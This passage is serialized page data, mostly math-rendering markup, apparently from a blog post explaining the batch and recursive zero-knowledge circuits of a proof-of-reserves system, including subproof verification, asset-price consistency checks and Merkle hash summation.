504,"props":2701,"children":2703},{"className":2702},[529,530],[2704],{"type":29,"value":888},{"type":23,"tag":504,"props":2706,"children":2708},{"className":2707,"style":872},[529,530],[2709],{"type":29,"value":2710},"FE",{"type":23,"tag":504,"props":2712,"children":2714},{"className":2713,"style":624},[529],[2715],{"type":29,"value":627},{"type":23,"tag":504,"props":2717,"children":2719},{"className":2718,"style":2686},[529,530],[2720],{"type":29,"value":2721},"I",{"type":23,"tag":504,"props":2723,"children":2725},{"className":2724,"style":563},[529,530],[2726],{"type":29,"value":2727},"NT",{"type":23,"tag":504,"props":2729,"children":2731},{"className":2730},[529],[2732],{"type":29,"value":2733},"/512",{"type":29,"value":1698},{"type":23,"tag":38,"props":2736,"children":2737},{},[2738],{"type":29,"value":2739},"(overflow check)",{"type":29,"value":2741}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":23,"tag":154,"props":2743,"children":2745},{"className":2744},[],[2746],{"type":29,"value":459},{"type":29,"value":933},{"type":23,"tag":32,"props":2749,"children":2750},{},[2751],{"type":29,"value":2752},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":23,"tag":32,"props":2754,"children":2755},{},[2756],{"type":23,"tag":199,"props":2757,"children":2759},{"alt":201,"src":2758},"/posts/por/batch-circuit-inputs.png",[],{"type":23,"tag":320,"props":2761,"children":2763},{"id":2762},"recursive-circuit",[2764],{"type":29,"value":2765},"Recursive Circuit",{"type":23,"tag":32,"props":2767,"children":2768},{},[2769],{"type":29,"value":2770},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":23,"tag":32,"props":2772,"children":2773},{},[2774],{"type":23,"tag":38,"props":2775,"children":2776},{},[2777],{"type":29,"value":1020},{"type":23,"tag":1022,"props":2779,"children":2780},{},[2781,2785,2790],{"type":23,"tag":143,"props":2782,"children":2783},{},[2784],{"type":29,"value":1039},{"type":23,"tag":143,"props":2786,"children":2787},{},[2788],{"type":29,"value":2789},"Asset prices",{"type":23,"tag":143,"props":2791,"children":2792},{},[2793],{"type":29,"value":1034},{"type":23,"tag":32,"props":2795,"children":2796},{},[2797],{"type":23,"tag":38,"props":2798,"children":2799},{},[2800],{"type":29,"value":1047},{"type":23,"tag":1022,"props":2802,"children":2803},{},[2804],{"type":23,"tag":143,"props":2805,"children":2806},{},[2807],{"type":29,"value":2808},"8 subproofs",{"type":23,"tag":32,"props":2810,"children":2811},{},[2812],{"type":23,"tag":38,"props":2813,"children":2814},{},[2815],{"type":29,"value":1068},{"type":23,"tag":1022,"props":2817,"children":2818},{},[2819,3232,3563,3930,4317],{"type":23,"tag":143,"props":2820,"children":2821},{},[2822,3227,3228],{"type":23,"tag":154,"props":2823,"children":2825},{"className":2824},[500,501],[2826],{"type":23,"tag":504,"props":2827,"children":2829},{"className":2828},[507],[2830],{"type":23,"tag":504,"props":2831,"children":2833},{"className":2832,"ariaHidden":513},[512],[2834,2970],{"type":23,"tag":504,"props":2835,"children":2837},{"className":2836},[518],[2838,2842,2847,2852,2857,2862,2867,2872,2877,2882,2887,2892,2897,2902,2907,2912,2917,2922,2927,2932,2937,2942,2947,2952,2957,2961,2966],{"type":23,"tag":504,"props":2839,"children":2841},{"className":2840,"style":558},[523],[],{"type":23,"tag":504,"props":2843,"children":2845},{"className":2844},[529,530],[2846],{"type":29,"value":620},{"type":23,"tag":504,"props":2848,"children":2850},{"className":2849},[529,530],[2851],{"type":29,"value":590},{"type":23,"tag":504,"props":2853,"children":2855},{"className":2854},[529,530],[2856],{"type":29,"value":620},{"type":23,"tag":504,"props":2858,"children":2860},{"className":2859},[529,530],[2861],{"type":29,"value":68},{"type":23,"tag":504,"props":2863,"children":2865},{"className":2864,"style":637},[529,530],[2866],{"type":29,"value":640},{"type":23,"tag":504,"props":2868,"children":2870},{"className":2869,"style":624},[529],[2871],{"type":29,"value":627},{"type":23,"tag":504,"props":2873,"children":2875},{"className":2874},[529,530],[2876],{"type":29,"value":68},{"type":23,"tag":504,"props":2878,"children":2880},{"className":2879},[529,530],[2881],{"type":29,"value":614},{"type":23,"tag":504,"props":2883,"children":2885},{"className":2884},[529,530],[2886],{"type":29,"value":620},{"type":23,"tag":504,"props":2888,"children":2890},{"className":2889,"style":624},[529],[2891],{"type":29,"value":627},{"type":23,"tag":504,"props":2893,"children":2895},{"className":2894},[529,530],[2896],{"type":29,"value":633},{"type":23,"tag":504,"props":2898,"children":2900},{"className":2899,"style":637},[529,530],[2901],{"type":29,"value":640},{"type":23,"tag":504,"props":2903,"children":2905},{"className":2904},[529,530],[2906],{"type":29,"value":646},{"type":23,"tag":504,"props":2908,"children":2910},{"className":2909},[529,530],[2911],{"type":29,"value":652},{"type":23,"tag":504,"props":2913,"children":2915},{"className":2914},[600],[2916],{"type":29,"value":1380},{"type":23,"tag":504,"props":2918,"children":2920},{"className":2919},[529,530],[2921],{"type":29,"value":68},{"type":23,"tag":504,"props":2923,"children":2925},{"className":2924},[529,530],[2926],{"type":29,"value":614},{"type":23,"tag":504,"props":2928,"children":2930},{"className":2929},[529,530],[2931],{"type":29,"value":620},{"type":23,"tag":504,"props":2933,"children":2935},{"className":2934,"style":624},[529],[2936],{"type":29,"value":627},{"type":23,"tag":504,"props":2938,"children":2940},{"className":2939},[529,530],[2941],{"type":29,"value":596},{"type":23,"tag":504,"props":2943,"children":2945},{"className":2944},[529,530],[2946],{"type":29,"value":905},{"type":23,"tag":504,"props":2948,"children":2950},{"className":2949},[529,530],[2951],{"type":29,"value":1416},{"type":23,"tag":504,"props":2953,"children":2955},{"className":2954},[930],[2956],{"type":29,"value":1422},{"type":23,"tag":504,"props":2958,"children":2960},{"className":2959,"style":538},[537],[],{"type":23,"tag":504,"props":2962,"children":2964},{"className":2963},[543],[2965],{"type":29,"value":1224},{"type":23,"tag":504,"props":2967,"children":2969},{"className":2968,"style":538},[537],[],{"type":23,"tag":504,"props":2971,"children":2973},{"className":2972},[518],[2974,2978,2983,2988,2993,2998,3004,3009,3015,3075,3080,3085,3090,3095,3100,3105,3111,3116,3122,3127,3132,3137,3142,3147,3152,3157,3162,3167,3172,3177,3182,3187,3192,3197,3202,3207,3212,3217,3222],{"type":23,"tag":504,"props":2975,"children":2977},{"className":2976,"style":558},[523],[],{"type":23,"tag":504,"props":2979,"children":2981},{"className":2980},[529],[2982],{"type":29,"value":1242},{"type":23,"tag":504,"props":2984,"children":2986},{"className":2985},[537],[2987],{"type":29,"value":733},{"type":23,"tag":504,"props":2989,"children":2991},{"className":2990},[529,530],[2992],{"type":29,"value":662},{"type":23,"tag":504,"props":2994,"children":2996},{"className":2995},[529,530],[2997],{"type":29,"value":905},{"type":23,"tag":504,"props":2999,"children":3001},{"className":3000},[529,530],[3002],{"type":29,"value":3003},"b",{"type":23,"tag":504,"props":3005,"children":3007},{"className":3006},[529,530],[3008],{"type":29,"value":32},{"type":23,"tag":504,"props":3010,"children":3012},{"className":3011},[529,530],[3013],{"type":29,"value":3014},"roo",{"type":23,"tag":504,"props":3016,"children":3018},{"className":3017},[529],[3019,3026],{"type":23,"tag":504,"props":3020,"children":3023},{"className":3021,"style":3022},[529,530],"margin-right:0.10764em;",[3024],{"type":29,"value":3025},"f",{"type":23,"tag":504,"props":3027,"children":3029},{"className":3028},[666],[3030],{"type":23,"tag":504,"props":3031,"children":3033},{"className":3032},[671,672],[3034,3064],{"type":23,"tag":504,"props":3035,"children":3037},{"className":3036},[677],[3038,3059],{"type":23,"tag":504,"props":3039,"children":3041},{"className":3040,"style":1180},[682],[3042],{"type":23,"tag":504,"props":3043,"children":3045},{"style":3044},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[3046,3050],{"type":23,"tag":504,"props":3047,"children":3049},{"className":3048,"style":693},[692],[],{"type":23,"tag":504,"props":3051,"children":3053},{"className":3052},[698,699,700,701],[3054],{"type":23,"tag":504,"props":3055,"children":3057},{"className":3056},[529,530,701],[3058],{"type":29,"value":578},{"type":23,"tag":504,"props":3060,"children":3062},{"className":3061},[712],[3063],{"type":29,"value":715},{"type":23,"tag":504,"props":3065,"children":3067},{"className":3066},[677],[3068],{"type":23,"tag":504,"props":3069,"children":3071},{"className":3070,"style":723},[682],[3072],{"type":23,"tag":504,"props":3073,"children":3074},{},[],{"type":23,"tag":504,"props":3076,"children":3078},{"className":3077},[529],[3079],{"type":29,"value":357},{"type":23,"tag":504,"props":3081,"children":3083},{"className":3082},[529,530],[3084],{"type":29,"value":32},{"type":23,"tag":504,"props":3086,"children":3088},{"className":3087},[529,530],[3089],{"type":29,"value":905},{"type":23,"tag":504,"props":3091,"children":3093},{"className":3092},[529,530],[3094],{"type":29,"value":3003},{"type":23,"tag":504,"props":3096,"children":3098},{"className":3097,"style":637},[529,530],[3099],{"type":29,"value":640},{"type":23,"tag":504,"props":3101,"children":3103},{"className":3102},[529,530],[3104],{"type":29,"value":578},{"type":23,"tag":504,"props":3106,"children":3108},{"className":3107},[529,530],[3109],{"type":29,"value":3110},"c",{"type":23,"tag":504,"props":3112,"children":3114},{"className":3113,"style":624},[529],[3115],{"type":29,"value":627},{"type":23,"tag":504,"props":3117,"children":3119},{"className":3118},[529,530],[3120],{"type":29,"value":3121},"in",{"type":23,"tag":504,"props":3123,"children":3125},{"className":3124},[529,530],[3126],{"type":29,"value":32},{"type":23,"tag":504,"props":3128,"children":3130},{"className":3129},[529,530],[3131],{"type":29,"value":905},{"type":23,"tag":504,"props":3133,"children":3135},{"className":3134},[529,530],[3136],{"type":29,"value":620},{"type":23,"tag":504,"props":3138,"children":3140},{"className":3139},[529],[3141],{"type":29,"value":357},{"type":23,"tag":504,"props":3143,"children":3145},{"className":3144},[529,530],[3146],{"type":29,"value":68},{"type":23,"tag":504,"props":3148,"children":3150},{"className":3149},[529,530],[3151],{"type":29,"value":614},{"type":23,"tag":504,"props":3153,"children":3155},{"className":3154},[529,530],[3156],{"type":29,"value":620},{"type":23,"tag":504,"props":3158,"children":3160},{"className":3159,"style":624},[529],[3161],{"type":29,"value":627},{"type":23,"tag":504,"props":3163,"children":3165},{"className":3164},[529,530],[3166],{"type":29,"value":633},{"type":23,"tag":504,"props":3168,"children":3170},{"className":3169,"style":637},[529,530],[3171],{"type":29,"value":640},{"type":23,"tag":504,"props":3173,"children":3175},{"className":3174},[529,530],[3176],{"type":29,"value":646},{"type":23,"tag":504,"props":3178,"children":3180},{"className":3179},[529,530],[3181],{"type":29,"value":1488},{"type":23,"tag":504,"props":3183,"children":3185},{"className":3184},[600],[3186],{"type":29,"value":1380},{"type":23,"tag":504,"props":3188,"children":3190},{"className":3189},[529,530],[3191],{"type":29,"value":68},{"type":23,"tag":504,"props":3193,"children":3195},{"className":3194},[529,530],[3196],{"type":29,"value":614},{"type":23,"tag":504,"props":3198,"children":3200},{"className":3199},[529,530],[3201],{"type":29,"value":620},{"type":23,"tag":504,"props":3203,"children":3205},{"className":3204,"style":624},[529],[3206],{"type":29,"value":627},{"type":23,"tag":504,"props":3208,"children":3210},{"className":3209},[529,530],[3211],{"type":29,"value":596},{"type":23,"tag":504,"props":3213,"children":3215},{"className":3214},[529,530],[3216],{"type":29,"value":905},{"type":23,"tag":504,"props":3218,"children":3220},{"className":3219},[529,530],[3221],{"type":29,"value":1416},{"type":23,"tag":504,"props":3223,"children":3225},{"className":3224},[930],[3226],{"type":29,"value":1422},{"type":29,"value":1698},{"type":23,"tag":38,"props":3229,"children":3230},{},[3231],{"type":29,"value":2050},{"type":23,"tag":143,"props":3233,"children":3234},{},[3235],{"type":23,"tag":154,"props":3236,"children":3238},{"className":3237},[500,501],[3239],{"type":23,"tag":504,"props":3240,"children":3242},{"className":3241},[507],[3243],{"type":23,"tag":504,"props":3244,"children":3246},{"className":3245,"ariaHidden":513},[512],[3247,3353],{"type":23,"tag":504,"props":3248,"children":3250},{"className":3249},[518],[3251,3255,3260,3265,3270,3275,3280,3285,3290,3295,3300,3305,3310,3315,3320,3325,3330,3335,3340,3344,3349],{"type":23,"tag":504,"props":3252,"children":3254},{"className":3253,"style":558},[523],[],{"type":23,"tag":504,"props":3256,"children":3258},{"className":3257},[529,530],[3259],{"type":29,"value":68},{"type":23,"tag":504,"props":3261,"children":3263},{"className":3262},[529,530],[3264],{"type":29,"value":614},{"type":23,"tag":504,"props":3266,"children":3268},{"className":3267},[529,530],[3269],{"type":29,"value":620},{"type":23,"tag":504,"props":3271,"children":3273},{"className":3272,"style":624},[529],[3274],{"type":29,"value":627},{"type":23,"tag":504,"props":3276,"children":3278},{"className":3277},[529,530],[3279],{"type":29,"value":32},{"type":23,"tag":504,"props":3281,"children":3283},{"className":3282,"style":624},[529,530],[3284],{"type":29,"value":1477},{"type":23,"tag":504,"props":3286,"children":3288},{"className":3287},[529,530],[3289],{"type":29,"value":578},{"type":23,"tag":504,"props":3291,"children":3293},{"className":3292},[529,530],[3294],{"type":29,"value":652},{"type":23,"tag":504,"props":3296,"children":3298},{"className":3297},[600],[3299],{"type":29,"value":1380},{"type":23,"tag":504,"props":3301,"children":3303},{"className":3302},[529,530],[3304],{"type":29,"value":68},{"type":23,"tag":504,"props":3306,"children":3308},{"className":3307},[529,530],[3309],{"type":29,"value":614},{"type":23,"tag":504,"props":3311,"children":3313},{"className":3312},[529,530],[3314],{"type":29,"value":620},{"type":23,"tag":504,"props":3316,"children":3318},{"className":3317,"style":624},[529],[3319],{"type":29,"value":627},{"type":23,"tag":504,"props":3321,"children":3323},{"className":3322},[529,530],[3324],{"type":29,"value":596},{"type":23,"tag":504,"props":3326,"children":3328},{"className":3327},[529,530],[3329],{"type":29,"value":905},{"type":23,"tag":504,"props":3331,"children":3333},{"className":3332},[529,530],[3334],{"type":29,"value":1416},{"type":23,"tag":504,"props":3336,"children":3338},{"className":3337},[930],[3339],{"type":29,"value":1422},{"type":23,"tag":504,"props":3341,"children":3343},{"className":3342,"style":538},[537],[],{"type":23,"tag":504,"props":3345,"children":3347},{"className":3346},[543],[3348],{"type":29,"value":1224},{"type":23,"tag":504,"props":3350,"children":3352},{"className":3351,"style":538},[537],[],{"type":23,"tag":504,"props":3354,"children":3356},{"className":3355},[518],[3357,3361,3366,3371,3376,3381,3386,3443,3448,3453,3458,3463,3468,3473,3478,3483,3488,3493,3498,3503,3508,3513,3518,3523,3528,3533,3538,3543,3548,3553,3558],{"type":23,"tag":504,"props":3358,"children":3360},{"className":3359,"style":558},[523],[],{"type":23,"tag":504,"props":3362,"children":3364},{"className":3363},[529,530],[3365],{"type":29,"value":662},{"type":23,"tag":504,"props":3367,"children":3369},{"className":3368},[529,530],[3370],{"type":29,"value":905},{"type":23,"tag":504,"props":3372,"children":3374},{"className":3373},[529,530],[3375],{"type":29,"value":3003},{"type":23,"tag":504,"props":3377,"children":3379},{"className":3378},[529,530],[3380],{"type":29,"value":32},{"type":23,"tag":504,"props":3382,"children":3384},{"className":3383},[529,530],[3385],{"type":29,"value":3014},{"type":23,"tag":504,"props":3387,"children":3389},{"className":3388},[529],[3390,3395],{"type":23,"tag":504,"props":3391,"children":3393},{"className":3392,"style":3022},[529,530],[3394],{"type":29,"value":3025},{"type":23,"tag":504,"props":3396,"children":3398},{"className":3397},[666],[3399],{"type":23,"tag":504,"props":3400,"children":3402},{"className":3401},[671,672],[3403,3432],{"type":23,"tag":504,"props":3404,"children":3406},{"className":3405},[677],[3407,3427],{"type":23,"tag":504,"props":3408,"children":3410},{"className":3409,"style":1180},[682],[3411],{"type":23,"tag":504,"props":3412,"children":3413},{"style":3044},[3414,3418],{"type":23,"tag":504,"props":3415,"children":3417},{"className":3416,"style":693},[692],[],{"type":23,"tag":504,"props":3419,"children":3421},{"className":3420},[698,699,700,701],[3422],{"type":23,"tag":504,"props":3423,"children":3425},{"className":3424},[529,530,701],[3426],{"type":29,"value":578},{"type":23,"tag":504,"props":3428,"children":3430},{"className":3429},[712],[3431],{"type":29,"value":715},{"type":23,"tag":504,"props":3433,"children":3435},{"className":3434},[677],[3436],{"type":23,"tag":504,"props":3437,"children":3439},{"className":3438,"style":723},[682],[3440],{"type":23,"tag":504,"props":3441,"children":3442},{},[],{"type":23,"tag":504,"props":3444,"children":3446},{"className":3445},[529],[3447],{"type":29,"value":357},{"type":23,"tag":504,"props":3449,"children":3451},{"className":3450},[529,530],[3452],{"type":29,"value":32},{"type":23,"tag":504,"props":3454,"children":3456},{"className":3455},[529,530],[3457],{"type":29,"value":905},{"type":23,"tag":504,"props":3459,"children":3461},{"className":3460},[529,530],[3462],{"type":29,"value":3003},{"type":23,"tag":504,"props":3464,"children":3466},{"className":3465,"style":637},[529,530],[3467],{"type":29,"value":640},{"type":23,"tag":504,"props":3469,"children":3471},{"className":3470},[529,530],[3472],{"type":29,"value":578},{"type":23,"tag":504,"props":3474,"children":3476},{"className":3475},[529,530],[3477],{"type":29,"value":3110},{"type":23,"tag":504,"props":3479,"children":3481},{"className":3480,"style":624},[529],[3482],{"type":29,"value":627},{"type":23,"tag":504,"props":3484,"children":3486},{"className":3485},[529,530],[3487],{"type":29,"value":3121},{"type":23,"tag":504,"props":3489,"children":3491},{"className":3490},[529,530],[3492],{"type":29,"value":32},{"type":23,"tag":504,"props":3494,"children":3496},{"className":3495},[529,530],[3497],{"type":29,"value":905},{"type":23,"tag":504,"props":3499,"children":3501},{"className":3500},[529,530],[3502],{"type":29,"value":620},{"type":23,"tag":504,"props":3504,"children":3506},{"className":3505},[529],[3507],{"type":29,"value":357},{"type":23,"tag":504,"props":3509,"children":3511},{"className":3510},[529,530],[3512],{"type":29,"value":68},{"type":23,"tag":504,"props":3514,"children":3516},{"className":3515},[529,530],[3517],{"type":29,"value":614},{"type":23,"tag":504,"props":3519,"children":3521},{"className":3520},[529,530],[3522],{"type":29,"value":620},{"type":23,"tag":504,"props":3524,"children":3526},{"className":3525,"style":624},[529],[3527],{"type":29,"value":627},{"type":23,"tag":504,"props":3529,"children":3531},{"className":3530},[529,530],[3532],{"type":29,"value":32},{"type":23,"tag":504,"props":3534,"children":3536},{"className":3535,"style":624},[529,530],[3537],{"type":29,"value":1477},{"type":23,"tag":504,"props":3539,"children":3541},{"className":3540},[529,530],[3542],{"type":29,"value":578},{"type":23,"tag":504,"props":3544,"children":3546},{"className":3545},[529,530],[3547],{"type":29,"value":1488},{"type":23,"tag":504,"props":3549,"children":3551},{"className":3550},[600],[3552],{"type":29,"value":1380},{"type":23,"tag":504,"props":3554,"children":3556},{"className":3555},[529],[3557],{"type":29,"value":708},{"type":23,"tag":504,"props":3559,"children":3561},{"className":3560},[930],[3562],{"type":29,"value":1422},{"type":23,"tag":143,"props":3564,"children":3565},{},[3566,3924,3925],{"type":23,"tag":154,"props":3567,"children":3569},{"className":3568},[500,501],[3570],{"type":23,"tag":504,"props":3571,"children":3573},{"className":3572},[507],[3574],{"type":23,"tag":504,"props":3575,"children":3577},{"className":3576,"ariaHidden":513},[512],[3578,3684],{"type":23,"tag":504,"props":3579,"children":3581},{"className":3580},[518],[3582,3586,3591,3596,3601,3606,3611,3616,3621,3626,3631,3636,3641,3646,3651,3656,3661,3666,3671,3675,3680],{"type":23,"tag":504,"props":3583,"children":3585},{"className":3584,"style":558},[523],[],{"type":23,"tag":504,"props":3587,"children":3589},{"className":3588},[529,530],[3590],{"type":29,"value":68},{"type":23,"tag":504,"props":3592,"children":3594},{"className":3593},[529,530],[3595],{"type":29,"value":614},{"type":23,"tag":504,"props":3597,"children":3599},{"className":3598},[529,530],[3600],{"type":29,"value":620},{"type":23,"tag":504,"props":3602,"children":3604},{"className":3603,"style":624},[529],[3605],{"type":29,"value":627},{"type":23,"tag":504,"props":3607,"children":3609},{"className":3608},[529,530],[3610],{"type":29,"value":32},{"type":23,"tag":504,"props":3612,"children":3614},{"className":3613,"style":624},[529,530],[3615],{"type":29,"value":1477},{"type":23,"tag":504,"props":3617,"children":3619},{"className":3618},[529,530],[3620],{"type":29,"value":578},{"type":23,"tag":504,"props":3622,"children":3624},{"className":3623},[529,530],[3625],{"type":29,"value":652},{"type":23,"tag":504,"props":3627,"children":3629},{"className":3628},[600],[3630],{"type":29,"value":1380},{"type":23,"tag":504,"props":3632,"children":3634},{"className":3633},[529,530],[3635],{"type":29,"value":68},{"type":23,"tag":504,"props":3637,"children":3639},{"className":3638},[529,530],[3640],{"type":29,"value":614},{"type":23,"tag":504,"props":3642,"children":3644},{"className":3643},[529,530],[3645],{"type":29,"value":620},{"type":23,"tag":504,"props":3647,"children":3649},{"className":3648,"style":624},[529],[3650],{"type":29,"value":627},{"type":23,"tag":504,"props":3652,"children":3654},{"className":3653},[529,530],[3655],{"type":29,"value":596},{"type":23,"tag":504,"props":3657,"children":3659},{"className":3658},[529,530],[3660],{"type":29,"value":905},{"type":23,"tag":504,"props":3662,"children":3664},{"className":3663},[529,530],[3665],{"type":29,"value":1416},{"type":23,"tag":504,"props":3667,"children":3669},{"className":3668},[930],[3670],{"type":29,"value":1422},{"type":23,"tag":504,"props":3672,"children":3674},{"className":3673,"style":538},[537],[],{"type":23,"tag":504,"props":3676,"children":3678},{"className":3677},[543],[3679],{"type":29,"value":1224},{"type":23,"tag":504,"props":3681,"children":3683},{"className":3682,"style":538},[537],[],{"type":23,"tag":504,"props":3685,"children":3687},{"className":3686},[518],[3688,3692,3697,3702,3707,3712,3717,3774,3779,3784,3789,3794,3799,3804,3809,3814,3819,3824,3829,3834,3839,3844,3849,3854,3859,3864,3869,3874,3879,3884,3889,3894,3899,3904,3909,3914,3919],{"type":23,"tag":504,"props":3689,"children":3691},{"className":3690,"style":558},[523],[],{"type":23,"tag":504,"props":3693,"children":3695},{"className":3694},[529,530],[3696],{"type":29,"value":662},{"type":23,"tag":504,"props":3698,"children":3700},{"className":3699},[529,530],[3701],{"type":29,"value":905},{"type":23,"tag":504,"props":3703,"children":3705},{"className":3704},[529,530],[3706],{"type":29,"value":3003},{"type":23,"tag":504,"props":3708,"children":3710},{"className":3709},[529,530],[3711],{"type":29,"value":32},{"type":23,"tag":504,"props":3713,"children":3715},{"className":3714},[529,530],[3716],{"type":29,"value":3014},{"type":23,"tag":504,"props":3718,"children":3720},{"className":3719},[529],[3721,3726],{"type":23,"tag":504,"props":3722,"children":3724},{"className":3723,"style":3022},[529,530],[3725],{"type":29,"value":3025},{"type":23,"tag":504,"props":3727,"children":3729},{"className":3728},[666],[3730],{"type":23,"tag":504,"props":3731,"children":3733},{"className":3732},[671,672],[3734,3763],{"type":23,"tag":504,"props":3735,"children":3737},{"className":3736},[677],[3738,3758],{"type":23,"tag":504,"props":3739,"children":3741},{"className":3740,"style":1180},[682],[3742],{"type":23,"tag":504,"props":3743,"children":3744},{"style":3044},[3745,3749],{"type":23,"tag":504,"props":3746,"children":3748},{"className":3747,"style":693},[692],[],{"type":23,"tag":504,"props":3750,"children":3752},{"className":3751},[698,699,700,701],[3753],{"type":23,"tag":504,"props":3754,"children":3756},{"className":3755},[529,530,701],[3757],{"type":29,"value":578},{"type":23,"tag":504,"props":3759,"children":3761},{"className":3760},[712],[3762],{"type":29,"value":715},{"type":23,"tag":504,"props":3764,"children":3766},{"className":3765},[677],[3767],{"type":23,"tag":504,"props":3768,"children":3770},{"className":3769,"style":723},[682],[3771],{"type":23,"tag":504,"props":3772,"children":3773},{},[],{"type":23,"tag":504,"props":3775,"children":3777},{"className":3776},[529],[3778],{"type":29,"value":357},{"type":23,"tag":504,"props":3780,"children":3782},{"className":3781},[529,530],[3783],{"type":29,"value":32},{"type":23,"tag":504,"props":3785,"children":3787},{"className":3786},[529,530],[3788],{"type":29,"value":905},{"type":23,"tag":504,"props":3790,"children":3792},{"className":3791},[529,530],[3793],{"type":29,"value":3003},{"type":23,"tag":504,"props":3795,"children":3797},{"className":3796,"style":637},[529,530],[3798],{"type":29,"value":640},{"type":23,"tag":504,"props":3800,"children":3802},{"className":3801},[529,530],[3803],{"type":29,"value":578},{"type":23,"tag":504,"props":3805,"children":3807},{"className":3806},[529,530],[3808],{"type":29,"value":3110},{"type":23,"tag":504,"props":3810,"children":3812},{"className":3811,"style":624},[529],[3813],{"type":29,"value":627},{"type":23,"tag":504,"props":3815,"children":3817},{"className":3816},[529,530],[3818],{"type":29,"value":3121},{"type":23,"tag":504,"props":3820,"children":3822},{"className":3821},[529,530],[3823],{"type":29,"value":32},{"type":23,"tag":504,"props":3825,"children":3827},{"className":3826},[529,530],[3828],{"type":29,"value":905},{"type":23,"tag":504,"props":3830,"children":3832},{"className":3831},[529,530],[3833],{"type":29,"value":620},{"type":23,"tag":504,"props":3835,"children":3837},{"className":3836},[529],[3838],{"type":29,"value":357},{"type":23,"tag":504,"props":3840,"children":3842},{"className":3841},[529,530],[3843],{"type":29,"value":68},{"type":23,"tag":504,"props":3845,"children":3847},{"className":3846},[529,530],[3848],{"type":29,"value":614},{"type":23,"tag":504,"props":3850,"children":3852},{"className":3851},[529,530],[3853],{"type":29,"value":620},{"type":23,"tag":504,"props":3855,"children":3857},{"className":3856,"style":624},[529],[3858],{"type":29,"value":627},{"type":23,"tag":504,"props":3860,"children":3862},{"className":3861},[529,530],[3863],{"type":29,"value":32},{"type":23,"tag":504,"props":3865,"children":3867},{"className":3866,"style":624},[529,530],[3868],{"type":29,"value":1477},{"type":23,"tag":504,"props":3870,"children":3872},{"className":3871},[529,530],[3873],{"type":29,"value":578},{"type":23,"tag":504,"props":3875,"children":3877},{"className":3876},[529,530],[3878],{"type":29,"value":1488},{"type":23,"tag":504,"props":3880,"children":3882},{"className":3881},[600],[3883],{"type":29,"value":1380},{"type":23,"tag":504,"props":3885,"children":3887},{"className":3886},[529,530],[3888],{"type":29,"value":68},{"type":23,"tag":504,"props":3890,"children":3892},{"className":3891},[529,530],[3893],{"type":29,"value":614},{"type":23,"tag":504,"props":3895,"children":3897},{"className":3896},[529,530],[3898],{"type":29,"value":620},{"type":23,"tag":504,"props":3900,"children":3902},{"className":3901,"style":624},[529],[3903],{"type":29,"value":627},{"type":23,"tag":504,"props":3905,"children":3907},{"className":3906},[529,530],[3908],{"type":29,"value":596},{"type":23,"tag":504,"props":3910,"children":3912},{"className":3911},[529,530],[3913],{"type":29,"value":905},{"type":23,"tag":504,"props":3915,"children":3917},{"className":3916},[529,530],[3918],{"type":29,"value":1416},{"type":23,"tag":504,"props":3920,"children":3922},{"className":3921},[930],[3923],{"type":29,"value":1422},{"type":29,"value":1698},{"type":23,"tag":38,"props":3926,"children":3927},{},[3928],{"type":29,"value":3929},"(verifies if all asset prices are the same)",{"type":23,"tag":143,"props":3931,"children":3932},{},[3933,4312,4313],{"type":23,"tag":154,"props":3934,"children":3936},{"className":3935},[500,501],[3937],{"type":23,"tag":504,"props":3938,"children":3940},{"className":3939},[507],[3941],{"type":23,"tag":504,"props":3942,"children":3944},{"className":3943,"ariaHidden":513},[512],[3945,4026],{"type":23,"tag":504,"props":3946,"children":3948},{"className":3947},[518],[3949,3953,3958,3963,3968,3973,3978,3983,3988,3993,3998,4003,4008,4013,4017,4022],{"type":23,"tag":504,"props":3950,"children":3952},{"className":3951,"style":2073},[523],[],{"type":23,"tag":504,"props":3954,"children":3956},{"className":3955},[529,530],[3957],{"type":29,"value":1416},{"type":23,"tag":504,"props":3959,"children":3961},{"className":3960,"style":624},[529,530],[3962],{"type":29,"value":2085},{"type":23,"tag":504,"props":3964,"children":3966},{"className":3965,"style":2089},[529,530],[3967],{"type":29,"value":2092},{"type":23,"tag":504,"props":3969,"children":3971},{"className":3970,"style":637},[529,530],[3972],{"type":29,"value":640},{"type":23,"tag":504,"props":3974,"children":3976},{"className":3975},[529,530],[3977],{"type":29,"value":1132},{"type":23,"tag":504,"props":3979,"children":3981},{"className":3980,"style":624},[529],[3982],{"type":29,"value":627},{"type":23,"tag":504,"props":3984,"children":3986},{"className":3985},[529,530],[3987],{"type":29,"value":620},{"type":23,"tag":504,"props":3989,"children":3991},{"className":3990},[529,530],[3992],{"type":29,"value":2118},{"type":23,"tag":504,"props":3994,"children":3996},{"className":3995,"style":624},[529],[3997],{"type":29,"value":627},{"type":23,"tag":504,"props":3999,"children":4001},{"className":4000},[529,530],[4002],{"type":29,"value":2129},{"type":23,"tag":504,"props":4004,"children":4006},{"className":4005},[529,530],[4007],{"type":29,"value":662},{"type":23,"tag":504,"props":4009,"children":4011},{"className":4010},[529,530],[4012],{"type":29,"value":533},{"type":23,"tag":504,"props":4014,"children":4016},{"className":4015,"style":538},[537],[],{"type":23,"tag":504,"props":4018,"children":4020},{"className":4019},[543],[4021],{"type":29,"value":1224},{"type":23,"tag":504,"props":4023,"children":4025},{"className":4024,"style":538},[537],[],{"type":23,"tag":504,"props":4027,"children":4029},{"className":4028},[518],[4030,4034,4039,4044,4049,4054,4059,4064,4069,4074,4079,4136,4141,4145,4150,4155,4212,4217,4221,4226,4231,4235,4240,4245,4307],{"type":23,"tag":504,"props":4031,"children":4033},{"className":4032,"style":2160},[523],[],{"type":23,"tag":504,"props":4035,"children":4037},{"className":4036,"style":563},[529,530],[4038],{"type":29,"value":566},{"type":23,"tag":504,"props":4040,"children":4042},{"className":4041},[529,530],[4043],{"type":29,"value":572},{"type":23,"tag":504,"props":4045,"children":4047},{"className":4046},[529,530],[4048],{"type":29,"value":578},{"type":23,"tag":504,"props":4050,"children":4052},{"className":4051},[529,530],[4053],{"type":29,"value":584},{"type":23,"tag":504,"props":4055,"children":4057},{"className":4056},[529,530],[4058],{"type":29,"value":590},{"type":23,"tag":504,"props":4060,"children":4062},{"className":4061},[529,530],[4063],{"type":29,"value":596},{"type":23,"tag":504,"props":4065,"children":4067},{"className":4066},[600],[4068],{"type":29,"value":603},{"type":23,"tag":504,"props":4070,"children":4072},{"className":4071},[529,530],[4073],{"type":29,"value":2129},{"type":23,"tag":504,"props":4075,"children":4077},{"className":4076},[529,530],[4078],{"